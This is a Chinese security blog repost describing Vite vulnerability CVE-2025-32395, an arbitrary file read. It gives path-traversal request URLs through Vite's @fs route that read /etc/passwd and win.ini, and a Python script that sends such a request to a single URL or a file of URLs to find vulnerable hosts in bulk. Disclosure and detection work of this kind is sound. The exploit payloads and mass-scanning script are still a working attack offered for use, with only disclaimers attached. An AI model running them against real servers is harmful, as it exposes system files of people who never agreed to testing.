开发者注意!Vite框架曝高危漏洞,你的项目受影响了吗?(含poc和批量脚本)

admin 2025年4月23日01:38:05评论9 views字数 2464阅读8分12秒阅读模式

声明:请勿利用文章内的相关技术从事非法测试,由于传播、利用此文所提供的信息而造成的任何直接或者间接的后果及损失,均由使用者本人负责,淮橘安全及文章作者不为此承担任何责任。

现在只对常读和星标的公众号才展示大图推送,建议大家能把设为星标”,否则可能就看不到了啦!每日为大家推送0day,1day,好用的工具供大家学习

0x01 漏洞描述

      近日,Vite框架曝出了一项高危漏洞——CVE-2025-32395,该漏洞可能导致任意文件读取,对广大开发者而言,带来不小的安全隐患。作为广受欢迎的前端构建工具,Vite的这个漏洞需要引起开发者的高度关注,尤其是在项目中使用Vite框架的开发者。                                                                                                                                                                                                                                                 

0x02 漏洞原理

该漏洞源于Vite框架中正则表达式的缺陷,具体表现为在处理URL参数时,未对路径进行充分的安全性检查,攻击者可以利用这一缺陷,通过构造特殊的路径绕过安全控制,读取系统中的任意文件。

攻击者通过发送特制的请求,访问Vite服务中的路径,如 @fs/,即可绕过安全防护,访问本应受限的系统文件。比如,攻击者可以通过访问以下路径:

http://localhost:5173/@fs/root/pseudocat/#/../../../../../etc/passwd

来读取服务器上的敏感文件 passwd,暴露系统中的用户信息。这意味着攻击者能够窃取到系统内的关键信息,甚至完全掌控服务器。

0x03 漏洞复现

1、环境搭建:首先,确保你的Vite框架版本未更新至最新版本(未修复漏洞的版本)。可以通过以下命令来搭建Vite开发环境:
npm init vite@latest# 选择框架并安装依赖npm installnpm run dev
2、漏洞复现:启动本地开发服务器后,构造以下特定的请求:
windows:
http://localhost:5173/@fs/root/pseudocat/#/../../../../../C://windows/win.ini
linux:
http://localhost:5173/@fs/root/pseudocat/#/../../../../../etc/passwd

0x04 批量检测POC 

使用方法:

  -h, --help            show this help message and exit  -u URL, --url URL     单个URL进行检测  -f FILE, --file FILE  从文件中读取URL进行批量检测

python脚本

import requestsimport argparse# 检查漏洞的函数def check_vulnerability(url):    vulnerable_path = "/@fs/etc/passwd"  # 漏洞路径    test_url = f"{url}{vulnerable_path}"    try:        response = requests.get(test_url)        # 如果返回的状态码是200且包含敏感信息(如/etc/passwd内容),则漏洞存在        if response.status_code == 200 and "root" in response.text:            print(f"[漏洞检测成功] {test_url} 存在漏洞!")        else:            print(f"[漏洞检测失败] {test_url} 没有发现漏洞。")    except requests.exceptions.RequestException as e:        print(f"[错误] 请求失败: {e}")# 从文件中读取URL并检测漏洞def check_from_file(file_path):    try:        with open(file_path, 'r'as f:            urls = f.readlines()            urls = [url.strip() for url in urls if url.strip()]  # 去掉空行        for url in urls:            check_vulnerability(url)    except FileNotFoundError:        print(f"[错误] 文件 {file_path} 未找到!")# 解析命令行参数def parse_args():    parser = argparse.ArgumentParser(description="批量检测Vite框架漏洞(CVE-2025-32395)")    parser.add_argument("-u""--url"help="单个URL进行检测"type=str)    parser.add_argument("-f""--file"help="从文件中读取URL进行批量检测"type=str)    return parser.parse_args()# 主函数def main():    args = parse_args()    if args.url:        check_vulnerability(args.url)    elif args.file:        check_from_file(args.file)    else:        print("[错误] 请提供 URL 或文件进行检测。")        print("使用 -h 查看帮助信息。")if __name__ == "__main__":    main()

原文始发于微信公众号(淮橘安全):开发者注意!Vite框架曝高危漏洞,你的项目受影响了吗?(含poc和批量脚本)

免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
  • 左青龙
  • 微信扫一扫
  • weinxin
  • 右白虎
  • 微信扫一扫
  • weinxin
admin
  • 本文由 发表于 2025年4月23日01:38:05
  • 转载请保留本文链接(CN-SEC中文网:感谢原作者辛苦付出):
                   开发者注意!Vite框架曝高危漏洞,你的项目受影响了吗?(含poc和批量脚本)https://cn-sec.com/archives/3968525.html
                  免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉.

发表评论

匿名网友 填写信息